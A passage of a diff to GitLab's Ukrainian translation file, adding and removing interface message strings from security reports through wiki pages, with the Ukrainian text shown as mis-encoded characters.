msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27147,9 +27849,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27159,9 +27858,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27198,6 +27894,9 @@ msgstr "Вибрати Ñторінку"
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr "Ð”Ð»Ñ Ð¿Ð¾Ñ‡Ð°Ñ‚ÐºÑƒ Ñ€ÐµÐ´Ð°Ð³ÑƒÐ²Ð°Ð½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñƒ виберіть його в лівій бічній панелі. Пізніше ви будете мати можливіÑÑ‚ÑŒ закомітити Ñвої зміни."
@@ -27207,8 +27906,8 @@ msgstr "Виберіть групу Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ"
msgid "Select a label"
msgstr "Вибрати мітку"
-msgid "Select a namespace to fork the project"
-msgstr "Виберіть проÑÑ‚Ñ–Ñ€ імен Ð´Ð»Ñ Ñ„Ð¾Ñ€ÐºÑƒ проєкту"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr "Вибрати новий проÑÑ‚Ñ–Ñ€ імен"
@@ -27237,9 +27936,15 @@ msgstr "Вибрати чаÑовий поÑÑ"
msgid "Select all"
msgstr "Вибрати вÑе"
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr "Виберіть виконавцÑ"
@@ -27294,9 +27999,6 @@ msgstr "Вибрати проєкт Ð´Ð»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ зони"
msgid "Select projects"
msgstr "Вибрати проєкти"
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27390,6 +28092,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27528,20 +28233,44 @@ msgstr "Service Desk"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
-msgstr "Service Desk увімкнено але він ще не активний"
+msgid "Service Templates"
+msgstr "Шаблони ÑервіÑів"
+
+msgid "Service URL"
+msgstr "URL ÑервіÑу"
+
+msgid "ServiceDesk|Enable Service Desk"
+msgstr ""
+
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service Templates"
-msgstr "Шаблони ÑервіÑів"
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
-msgid "Service URL"
-msgstr "URL ÑервіÑу"
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
msgid "Session ID"
msgstr ""
@@ -27642,6 +28371,9 @@ msgstr "Ð’Ñтановити макÑимальну кількіÑÑ‚ÑŒ хвилÐ
msgid "Set the milestone to %{milestone_reference}."
msgstr "Ð’Ñтановити етап %{milestone_reference}."
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27696,7 +28428,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "вÑтановити пароль"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27708,6 +28440,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "ОчиÑтити ÑтатуÑ"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "Змінити ÑтатуÑ"
@@ -27729,6 +28464,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "Який ваш ÑтатуÑ?"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr "Ð’Ñтановлює %{epic_ref} Ñк батьківÑький епік."
@@ -27938,9 +28676,15 @@ msgstr[3] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr "Показано %{limit} з %{total_count} задач. "
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr "Показано %{pageSize} із %{total} задач"
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr "Ð’Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ ÑƒÑÑ–Ñ… задач"
@@ -27959,6 +28703,9 @@ msgstr ""
msgid "Side-by-side"
msgstr "Поруч"
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28199,6 +28946,9 @@ msgstr "ХтоÑÑŒ відредагував цю %{issueType} одночаÑно
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr "ХтоÑÑŒ відредагував цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¾Ð´Ð½Ð¾Ñ‡Ð°Ñно з вами. Будь лаÑка, оновіть Ñторінку, щоб побачити зміни."
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28877,13 +29627,13 @@ msgstr "СтатуÑ:"
msgid "Status: %{title}"
msgstr "СтатуÑ: %{title}"
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28898,9 +29648,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28913,7 +29660,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29003,9 +29750,6 @@ msgstr "Підключі"
msgid "Submit"
msgstr "ÐадіÑлати"
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr "ÐадіÑлати відгук"
@@ -29021,9 +29765,6 @@ msgstr ""
msgid "Submit feedback"
msgstr "ÐадіÑлати відгук"
-msgid "Submit issue"
-msgstr "Відправити задачу"
-
msgid "Submit review"
msgstr "ÐадіÑлати перевірку"
@@ -29081,9 +29822,6 @@ msgstr "ПідпиÑку уÑпішно видалено."
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29713,6 +30451,13 @@ msgstr ""
msgid "Test coverage parsing"
msgstr "Пошук результатів Ð¿Ð¾ÐºÑ€Ð¸Ñ‚Ñ‚Ñ Ñ‚ÐµÑтами"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29874,9 +30619,6 @@ msgstr[3] "%{type} міÑтить наÑтупні помилки:"
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29949,6 +30691,9 @@ msgstr "Поточна задача"
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr "Джерело даних підключено, але даних Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð½ÐµÐ¼Ð°Ñ”. %{documentationLink}"
@@ -29976,6 +30721,9 @@ msgstr "Введений вами домен Ñ” недопуÑтимим."
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29988,6 +30736,9 @@ msgstr "Файл уÑпішно видалено."
msgid "The file name should have a .yml extension"
msgstr "Ð†Ð¼â€™Ñ Ñ„Ð°Ð¹Ð»Ñƒ повинно мати Ñ€Ð¾Ð·ÑˆÐ¸Ñ€ÐµÐ½Ð½Ñ .yml"
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30052,6 +30803,9 @@ msgstr "Цю групу буде переведено у Ñтан \"очікув
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Імпорт буде припинено піÑÐ»Ñ %{timeout}. Ð”Ð»Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–Ñ—Ð², Ñким потрібно більше чаÑу, викориÑтовуйте комбінацію clone/push."
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "Ð—Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð½Ðµ може буте прийнÑте."
@@ -30112,6 +30866,9 @@ msgstr "Конфлікти у цьому запиті на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ ÑƒÐ¶Ðµ Ð
msgid "The merge request can now be merged."
msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¼Ð¾Ð¶Ðµ бути злито."
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30184,6 +30941,9 @@ msgstr "Збір даних пÑевдонімізованих данних ви
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr "Віддалене дзеркало зайнÑло забагато чаÑу Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ."
@@ -30235,6 +30995,9 @@ msgstr "Вказана вкладка недійÑна. Будь лаÑка, вÐ
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "Ð¡Ñ‚Ð°Ð´Ñ–Ñ Staging показує Ñ‡Ð°Ñ Ð¼Ñ–Ð¶ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° розгортаннÑм коду у production. Дані автоматично додаютьÑÑ Ð¿Ñ–ÑÐ»Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ñƒ production вперше."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30283,6 +31046,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr "ВразливіÑÑ‚ÑŒ більше не виÑвлÑєтьÑÑ. Перевірте, що цю вразливіÑÑ‚ÑŒ виправлено або видалено перед тим, Ñк змінювати ÑтатуÑ."
@@ -30310,6 +31079,9 @@ msgstr "Ðемає SSH ключів, пов’Ñзаних із цим обліÐ
msgid "There are no SSH keys with access to your account."
msgstr "Ðемає SSH ключів, що мають доÑтуп до вашого облікового запиÑу."
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "Ðаразі немає жодного архівованого проєкту"
@@ -30343,9 +31115,6 @@ msgstr "ВлаÑні шаблони проєктів не налаштовані
msgid "There are no issues to show"
msgstr "Ðемає задач Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ"
-msgid "There are no issues to show."
-msgstr "Ðемає задач Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ."
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30589,6 +31358,9 @@ msgstr "Помилка при Ñкиданні токена електронно
msgid "There was an error when subscribing to this label."
msgstr "Помилка при підпиÑці на цю мітку."
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr "Помилка при відпиÑці від цієї мітки."
@@ -30727,8 +31499,8 @@ msgstr "ВидиміÑÑ‚ÑŒ цієї дошки обмежена"
msgid "This chart could not be displayed"
msgstr "Ð¦Ñ Ð´Ñ–Ð°Ð³Ñ€Ð°Ð¼Ð° не може бути відображена"
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
-msgstr "Цей коментар було змінено піÑÐ»Ñ Ñ‚Ð¾Ð³Ð¾, Ñк ви його почали редагувати. Будь лаÑка, переглÑньте %{startTag}оновлений коментар%{endTag}, щоб переконатиÑÑ Ð² тому, що інформацію не було втрачено."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Цей коміт Ñ” чаÑтиною запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ %{link_to_merge_request}. Створені тут коментарі будуть в контекÑÑ‚Ñ– цього запитну на злиттÑ."
@@ -30811,6 +31583,9 @@ msgstr ""
msgid "This group"
msgstr "Ð¦Ñ Ð³Ñ€ÑƒÐ¿Ð°"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30820,6 +31595,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30832,6 +31610,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr "Це — кориÑтувач \"Ghost User\", Ñкий було Ñтворено Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, щоб він зібрав уÑÑ– задачі Ñтворені кориÑтувачами, що були видалені. Його неможливо видалити."
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31138,9 +31919,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr "Ці Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти автоматично Ñтануть обговореннÑми задач, Ñкі відображатимутьÑÑ Ñ‚ÑƒÑ‚ (причому коментарі Ñтануть чаÑтиною перепиÑки)."
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31237,9 +32015,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31542,6 +32317,15 @@ msgstr "Виконати"
msgid "To GitLab"
msgstr "Ð’ GitLab"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr "Щоб отримати доÑтуп до цього домену, Ñтворіть новий Ð·Ð°Ð¿Ð¸Ñ DNS"
@@ -31584,9 +32368,6 @@ msgstr "Ð”Ð»Ñ Ð¿Ð¾Ñ‡Ð°Ñ‚ÐºÑƒ введіть URL-адреÑу FogBugz та паÑ
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr "Щоб почати роботу, з'єднайте цю Ñторінку з Ñервером Jaeger, або дізнайтеÑÑ, Ñк %{link_start_tag}вÑтановити Jaeger%{link_end_tag}"
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr "Спочатку введіть адреÑу Ñервера GÑ–tea Ñ– %{link_to_personal_token}."
@@ -31614,8 +32395,8 @@ msgstr "Щоб переміÑтити або Ñкопіювати веÑÑŒ прÐ
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
-msgstr "Щоб відкривати Jaeger Ñ– легко переглÑдати інформацію про GitLab, додайте поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° Ñторінку %{link} до вашого Ñервера"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
+msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
msgstr ""
@@ -31719,6 +32500,9 @@ msgstr "Увімкнути/вимкнути Ñмайлики-нагороди"
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "Переключити навігацію"
@@ -31918,10 +32702,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32056,9 +32840,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr "Ввімкнути Service Desk"
-
msgid "Turn on usage ping"
msgstr ""
@@ -32113,6 +32894,12 @@ msgstr "U2F працює лише з веб-Ñайтами з підтримко
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr "URL-адреÑа обов'Ñзкова"
@@ -32515,8 +33302,8 @@ msgstr "Перейдіть на вищий тарифний план щоб ак
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
-msgstr "Перейдіть на вищий тарифний план Ð´Ð»Ñ Ð¿Ð¾ÐºÑ€Ð°Ñ‰ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñ–Ð² на злиттÑ."
+msgid "Upgrade your plan to improve merge requests."
+msgstr ""
msgid "Upload"
msgstr ""
@@ -32524,6 +33311,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr "Завантажити CSV файл"
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr "Завантажити ліцензію"
@@ -32620,6 +33410,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Пакети"
@@ -32818,9 +33611,6 @@ msgstr "ВикориÑтовуйте %{code_start}::%{code_end} Ð´Ð»Ñ ÑтвоÑ
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr "ВикориÑтовуйте Service Desk Ð´Ð»Ñ Ð·Ð²â€™Ñзку з вашими кориÑтувачами (наприклад, щоб запропонувати клієнтÑьку підтримку) через електронну пошту безпоÑередньо із GitLab"
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32872,6 +33662,9 @@ msgstr "КориÑтувач %{current_user_username} розпочав імітÑ
msgid "User %{username} was successfully removed."
msgstr "КориÑтувача %{username} уÑпішно видалено."
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32917,8 +33710,11 @@ msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувача"
msgid "User was successfully created."
msgstr "КориÑтувача було уÑпішно Ñтворено."
-msgid "User was successfully removed from group and any subresources."
-msgstr "КориÑтувача було уÑпішно видалено із групи та підреÑурÑів."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
+msgstr ""
msgid "User was successfully removed from project."
msgstr "КориÑтувача уÑпішно видалено із проєкту."
@@ -33145,9 +33941,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr "КориÑтувачі, Ñкі запитують доÑтуп до"
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr "КориÑтувачів уÑпішно додано."
@@ -33214,7 +34007,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33223,6 +34031,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33378,9 +34192,15 @@ msgstr "ПереглÑнути мітки"
msgid "View log"
msgstr "ПереглÑнути журнал"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr "ПереглÑнути запити на злиттÑ"
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "ПереглÑнути відкритий запит на злиттÑ"
@@ -33408,6 +34228,9 @@ msgstr ""
msgid "View the documentation"
msgstr "ПереглÑнути документацію"
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr "ПереглÑнути оÑтаннє уÑпішне Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð½Ð° це Ñередовище"
@@ -33417,6 +34240,9 @@ msgstr ""
msgid "View users statistics"
msgstr "ПереглÑд ÑтатиÑтики кориÑтувачів"
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33822,15 +34648,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr "Запит на злиттÑ"
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr "Вебхук"
@@ -34005,6 +34846,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34105,9 +34949,6 @@ msgstr "Ð’Ñтановити Gollum"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "ЗапуÑÑ‚Ñ–Ñ‚ÑŒ Gollum Ñ– редагуйте локально"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr "Порада: Ви можете переміÑтити цю Ñторінку, додавши шлÑÑ… до початку заголовка."
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr "Вже Ñ–Ñнує Ñторінка з таким шлÑхом Ñ– заголовком."
@@ -34180,18 +35021,6 @@ msgstr "Ñ–ÑторіÑ"
msgid "WikiHistoricalPage|most recent version"
msgstr "оÑÑ‚Ð°Ð½Ð½Ñ Ð²ÐµÑ€ÑÑ–Ñ"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "Більше прикладів знаходитьÑÑ Ð² %{docs_link}"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "документації"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr "Ð”Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð¿Ð¾ÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° (нову) Ñторінку, проÑто введіть %{link_example}"
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr "Порада: можна вказати повний шлÑÑ… до нового файлу. Ми автоматично Ñтворимо вÑÑ– відÑутні каталоги."
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "Ви дійÑно бажаєте видалити цю Ñторінку?"
@@ -34204,11 +35033,38 @@ msgstr "Видалити Ñторінку %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
